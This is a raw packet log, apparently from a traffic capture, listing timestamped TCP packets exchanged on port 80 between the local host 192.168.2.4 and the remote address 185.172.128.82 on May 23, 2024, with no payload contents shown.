May 23, 2024 23:33:08.593110085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.593153000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.599387884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.601250887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.608596087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608647108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608681917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608715057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608735085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.608748913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608800888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.608800888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.608808041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608828068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.608860970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608894110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608925104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.608957052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609008074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609055996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609072924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609072924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609072924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609072924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609072924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609090090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609122992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609152079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609153032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609157085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609179020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609190941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609200001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609225035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609244108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609256983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609287024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609292030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.609307051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.609337091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610464096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610548019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610579967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610613108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610631943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610631943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610666990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610683918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610701084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610717058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610735893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610740900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610769987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610785007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610805035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610816002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610837936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610858917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610871077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610884905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610903978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610922098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610937119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.610953093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.610992908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611064911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611098051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611118078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611129045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611139059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611164093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611174107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611197948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611217976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611231089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611243963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611263990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611279964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611298084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611325026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611330032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611362934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611427069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611428022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611443043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.611458063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.611494064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612493038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612525940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612545967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612559080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612612963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612612963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612648964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612663984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612663984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612744093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612746954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612797976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612802982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612839937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612852097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612871885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612889051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612906933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612919092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612937927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612956047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.612970114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.612973928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613003969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613018036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613038063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613070965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613078117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613078117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613102913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613127947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613137007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613143921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613171101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613188028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613204002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613229036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613246918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613255024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613287926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613301992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613320112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613332987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613353968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613363028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613388062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613405943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613426924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613447905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613467932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613497019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613518000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613518953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613555908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613571882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613589048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613603115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613621950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613640070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613655090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613671064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613687992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613702059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613722086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613740921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613754988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613773108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613789082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613806963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613821030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613831043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613853931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613872051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613886118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.613903046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.613933086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614093065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614125967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614142895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614156961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614180088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614190102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614197969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614223003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614242077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614255905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614273071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614289999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614300966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614321947 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614340067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614355087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614368916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614387989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614402056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614420891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614439011 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614454031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614463091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614511013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.614523888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.614578009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.684853077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.684911013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.684945107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.684978008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685010910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685044050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685075998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685107946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685141087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685173035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685205936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685218096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685218096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685218096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685218096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685219049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685219049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685219049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685219049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685240030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685302973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685302973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685302973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.685436010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.685623884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.689955950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.694390059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.695194006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.695255995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.695502996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.695557117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.696053028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.696089029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.696115971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.696151972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.697246075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.697299004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.697837114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.697887897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.699398041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.699433088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.699486971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.699635029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.699687958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.700176001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.700210094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.700228930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.700253010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.701106071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.701158047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.701550007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.701585054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.701602936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.701620102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.701636076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.701668024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.702532053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.702567101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.702615976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.703484058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.703517914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.703535080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.703562021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.704437017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.704471111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.704485893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.704518080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.705409050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.705442905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.705459118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.705487013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712055922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712090015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712199926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712233067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712265015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712299109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712292910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712292910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712294102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712358952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712371111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712371111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712410927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712410927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712445021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712475061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712477922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712503910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712512016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712522984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712546110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.712564945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.712596893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.713054895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.713088989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.713108063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.713136911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.714041948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.714095116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.714221001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.714272022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.715414047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.715447903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.715503931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.715564013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.715598106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.715615988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.715631008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.715647936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.715672970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.720148087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.720181942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.720213890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.720247984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.720279932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.720312119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.720312119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.720312119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.720312119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.720407009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.720648050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.720681906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.720809937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.720809937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.721237898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.721271992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.721292973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.721333027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.721823931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.721858025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.721874952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.721901894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.724967003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725002050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725033045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725056887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.725089073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725096941 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.725121975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725169897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.725169897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.725632906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725667953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725698948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.725718021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.725744009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.726695061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.726730108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.726747990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.726773024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.727737904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.727771997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.727786064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.727814913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.728730917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.728765011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.728780031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.728806973 CEST	49733	80	192.168.2.4	185.172.128.82
